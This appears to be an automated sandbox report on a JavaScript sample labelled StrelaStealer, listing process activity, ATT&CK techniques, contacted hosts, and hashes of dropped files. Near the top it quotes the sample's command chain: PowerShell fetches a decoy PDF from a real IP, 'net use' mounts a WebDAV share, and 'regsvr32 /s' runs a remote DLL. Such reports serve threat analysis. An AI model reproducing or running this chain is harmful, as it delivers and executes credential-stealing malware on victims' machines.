Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
23333227572217423995.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
23333227572217423995.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Z	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/B	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/Z	net.exe, 00000006.00000002.1822084165.000001CB2124C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1821379384.000001CB2124C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3056923758.000001AECBC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1822660962.000001AECBF02000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1821945727.000001CB21218000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/B	net.exe, 00000006.00000002.1821945727.000001CB21218000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1822660962.000001AECBF02000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588351
Start date and time:	2025-01-11 01:12:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	23333227572217423995.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.22.242.11, 2.22.242.123, 20.109.210.53, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:13:34	API Interceptor	23x Sleep call for process: powershell.exe modified
19:13:38	API Interceptor	1x Sleep call for process: net.exe modified
19:13:38	API Interceptor	2x Sleep call for process: svchost.exe modified
19:13:51	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073402806517747
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrm:KooCEYhgYEL0In
MD5:	409C7059F689011605E239F48266AFE1
SHA1:	D08AAEEB128CFB98A3D69D199FB3847B24A9E5D9
SHA-256:	D88BF9392765DDF8D0017749D3BE8009303BCD57462B8B7ED8D4BA71FD3BBD07
SHA-512:	0347C94E839794472662D371F1C2128887CB24EF4AA08DE36A8491E8347C61B564B55E5F1C726D93CDE9E04255CC766D8CFCDBF61B1A833E4B9E91A58357A3A8
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc00e34f1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220794919034579
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	FEA8B3132C71A1EFDE6067F8AE78AE38
SHA1:	3794908DB565A00ACC9DEE6E8B55F19A2ED79172
SHA-256:	127C5E2C3FBA0F0E6AB5518B9A387D6A16BACD8BC84CD626798847865DB0F678
SHA-512:	19D6FA46931610C4AD638EBE23440652A1993610E776A5AAFE36C539AC579F05ED73E3666491A38FA402238DE24A9D543D656FD161D07DB7EB93E099E16A38BC
Malicious:	false
Preview:	..4.... .......A.......X\...;...{......................0.!..........{A.'....}].h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................=.'....}}.................F. #'....}}..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07484208652556766
Encrypted:	false
SSDEEP:	3:J//EYe14MY4jn13a/uYYZollcVO/lnlZMxZNQl:JXEz11553qXhOewk
MD5:	7D41319D282855B6D30F1B3F9C36A068
SHA1:	CE1423FE1E11B4E8378F063AC68C64618CA56408
SHA-256:	EAC2A234B35E526C4045B21324F3EA9A6500D87D374A56F0D4A8E77F26872638
SHA-512:	E373BE3793F6C065DFEE15D0DCD70F30D1EA1C9306C305D0C7B386CD0476BDDBA2589425F61D39B3677AC6697050A3E13F54E226751B38BE8BA4A0D3F1EAC5B6
Malicious:	false
Preview:	u..!.....................................;...{..'....}}......{A..............{A......{A..........{A]................F. #'....}}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.218231650946962
Encrypted:	false
SSDEEP:	6:iO4XdnVq2Pwkn2nKuAl9OmbnIFUtSXwUEgZmwsXehSIkwOwkn2nKuAl9OmbjLJ:72nVvYfHAahFUtdUEg/hSI5JfHAaSJ
MD5:	DC74816251D7901394866AA01B3D5C87
SHA1:	7F8A65EFF43F5AEA7FDD686E490074709EE448FC
SHA-256:	65206F6814C8CE56940F3735D314302EBEDEDEAF0EF98F9AFBEE3738A000C612
SHA-512:	142C10A356C59487F9AAA5A7A5D925736B96639C2C6DB26EAABF56EABA0501C01C6F805147BAA0103770FD1FB5FEF757098D8AC6E0415DAE6F5803FE119E06CC
Malicious:	false
Preview:	2025/01/10-19:13:38.859 1f20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:13:38.863 1f20 Recovering log #3.2025/01/10-19:13:38.864 1f20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.218231650946962
Encrypted:	false
SSDEEP:	6:iO4XdnVq2Pwkn2nKuAl9OmbnIFUtSXwUEgZmwsXehSIkwOwkn2nKuAl9OmbjLJ:72nVvYfHAahFUtdUEg/hSI5JfHAaSJ
MD5:	DC74816251D7901394866AA01B3D5C87
SHA1:	7F8A65EFF43F5AEA7FDD686E490074709EE448FC
SHA-256:	65206F6814C8CE56940F3735D314302EBEDEDEAF0EF98F9AFBEE3738A000C612
SHA-512:	142C10A356C59487F9AAA5A7A5D925736B96639C2C6DB26EAABF56EABA0501C01C6F805147BAA0103770FD1FB5FEF757098D8AC6E0415DAE6F5803FE119E06CC
Malicious:	false
Preview:	2025/01/10-19:13:38.859 1f20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:13:38.863 1f20 Recovering log #3.2025/01/10-19:13:38.864 1f20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.206146578667202
Encrypted:	false
SSDEEP:	6:iO4Xsnq2Pwkn2nKuAl9Ombzo2jMGIFUtSXvZmwsXb6kwOwkn2nKuAl9Ombzo2jM4:7FnvYfHAa8uFUte//5JfHAa8RJ
MD5:	51159085012EEFD9C84B0DC89F001057
SHA1:	2664A5E5ADA4391C6665C92948828F005FDCB043
SHA-256:	A741F995395274E4B3EAE88A3DBDD531BE0F29F3EBCC0A6C9AC655CAB1B99781
SHA-512:	A16A1D307FB7B8B6B9EF9A5C190C518F1F3995B9E7319AABFF9F25B2CB39CA6356FACB860829C3B1D52AA8A841A362822EE61913492FA1056560102FA7142876
Malicious:	false
Preview:	2025/01/10-19:13:38.888 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:13:38.893 1f70 Recovering log #3.2025/01/10-19:13:38.894 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.206146578667202
Encrypted:	false
SSDEEP:	6:iO4Xsnq2Pwkn2nKuAl9Ombzo2jMGIFUtSXvZmwsXb6kwOwkn2nKuAl9Ombzo2jM4:7FnvYfHAa8uFUte//5JfHAa8RJ
MD5:	51159085012EEFD9C84B0DC89F001057
SHA1:	2664A5E5ADA4391C6665C92948828F005FDCB043
SHA-256:	A741F995395274E4B3EAE88A3DBDD531BE0F29F3EBCC0A6C9AC655CAB1B99781
SHA-512:	A16A1D307FB7B8B6B9EF9A5C190C518F1F3995B9E7319AABFF9F25B2CB39CA6356FACB860829C3B1D52AA8A841A362822EE61913492FA1056560102FA7142876
Malicious:	false
Preview:	2025/01/10-19:13:38.888 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:13:38.893 1f70 Recovering log #3.2025/01/10-19:13:38.894 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.952327522183517
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWsBdOg2H+WZcaq3QYiubInP7E4T3y:Y2sRdsOdMH+L3QYhbG7nby
MD5:	69CEEB1C3E0393F6A88F9BA578337D63
SHA1:	4172518431A4E05AB95E9A5266D29A831175B870
SHA-256:	25CA09996BCE707773A123BCF30070ECCB236C5E58094D6177E966EB0FA730F1
SHA-512:	DD8F4626FBDB522C242B28489544BA43F968A4A8261280BF3A1D13E46EAD85D1A6AABF5070AC2F5699CD42A202E5465D65934FABCE429654C332CD68B56F3DC3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381114431403157","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128558},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b48c1d12-111b-4add-9874-b37fd2fd5e02.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.952327522183517
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWsBdOg2H+WZcaq3QYiubInP7E4T3y:Y2sRdsOdMH+L3QYhbG7nby
MD5:	69CEEB1C3E0393F6A88F9BA578337D63
SHA1:	4172518431A4E05AB95E9A5266D29A831175B870
SHA-256:	25CA09996BCE707773A123BCF30070ECCB236C5E58094D6177E966EB0FA730F1
SHA-512:	DD8F4626FBDB522C242B28489544BA43F968A4A8261280BF3A1D13E46EAD85D1A6AABF5070AC2F5699CD42A202E5465D65934FABCE429654C332CD68B56F3DC3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381114431403157","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128558},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256193108399521
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7gyjhmD:etJCV4FiN/jTN/2r8Mta02fEhgO73gom
MD5:	4F129360D282B9547D60848CF218735E
SHA1:	55BCD2E3057CBC81A460B8E05706CD211A12AD1F
SHA-256:	1069A01E5300F213B875E42D57D9B23A6945E3AD6107AE78C49B4D123F7F3B88
SHA-512:	EE76523421F1A64F1E1DA601C0AF3722D9C34F1B185AE3429DA32C8496C05D376F04BCDDEF346C4D570BA57FDAEF871747651ACB7AE4493075438E0867BBEA13
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1516869235281
Encrypted:	false
SSDEEP:	6:iO4QTq2Pwkn2nKuAl9OmbzNMxIFUtSWZmwspL7kwOwkn2nKuAl9OmbzNMFLJ:7vvYfHAa8jFUt3/0f5JfHAa84J
MD5:	691D3758BCC9F9D129FC5F1F234632C2
SHA1:	CE76BD9B1B8486E4EC2EEDFEBC9A25D5E1D2E08A
SHA-256:	DB40E98D87E9AF13DC8F475187BF0C0F93B0C6D78A107AEA46ADA5A3CBF96DFE
SHA-512:	7CA42CC1F737748717FC89846CA41AB8439D0FAF792C12691FB0BC7036CE459D0B40FEC86972AF9786A520C75C7459978A309BE660B9BE6C7BFCCF59E50E4D7E
Malicious:	false
Preview:	2025/01/10-19:13:39.098 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:13:39.099 1f70 Recovering log #3.2025/01/10-19:13:39.100 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1516869235281
Encrypted:	false
SSDEEP:	6:iO4QTq2Pwkn2nKuAl9OmbzNMxIFUtSWZmwspL7kwOwkn2nKuAl9OmbzNMFLJ:7vvYfHAa8jFUt3/0f5JfHAa84J
MD5:	691D3758BCC9F9D129FC5F1F234632C2
SHA1:	CE76BD9B1B8486E4EC2EEDFEBC9A25D5E1D2E08A
SHA-256:	DB40E98D87E9AF13DC8F475187BF0C0F93B0C6D78A107AEA46ADA5A3CBF96DFE
SHA-512:	7CA42CC1F737748717FC89846CA41AB8439D0FAF792C12691FB0BC7036CE459D0B40FEC86972AF9786A520C75C7459978A309BE660B9BE6C7BFCCF59E50E4D7E
Malicious:	false
Preview:	2025/01/10-19:13:39.098 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:13:39.099 1f70 Recovering log #3.2025/01/10-19:13:39.100 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444759085070402
Encrypted:	false
SSDEEP:	384:yezci5t2iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r5s3OazzU89UTTgUL
MD5:	D32E293914BF7CE204C05A37D2E931B0
SHA1:	F8F08CD33B73C57A02AF2D0CCB83F36FD44E1BAD
SHA-256:	4250957B2DBF19A1A5429970E96F337D16AED8EB15DCE07925C23A22B53444CF
SHA-512:	1CA020FB54372DDEBC3138F9DF161B0390B64FC3446F467C0E49F7845FD5F796A1045B23EE3087DD512F5D4D1E4DA5F786764273931FE250E52803164BDDD059
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7727423599428582
Encrypted:	false
SSDEEP:	48:7MOp/E2ioyVzioy9oWoy1Cwoy1rKOioy1noy1AYoy1Wioy1hioybioyroy1noy1n:7RpjuzFOXKQ6Lb9IVXEBodRBkT
MD5:	7D18D158DB5C6FB00E213655CD9DC5A4
SHA1:	AA8FE6729D7EB28FF96FA17F45817F25AF3D9ED4
SHA-256:	0EED8332EF088BD29279B8C4895786443404E05813C8E53147165538E9BB95C5
SHA-512:	C40845F88BD34359C34DB3345B93EA928E16BA55C94C2BFDE9EA279EF13510110E823D66E003D5BEC92975DA6DD2BA18FD0DC98B78CE5264D3B119566F69453B
Malicious:	false
Preview:	.... .c......i5#...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
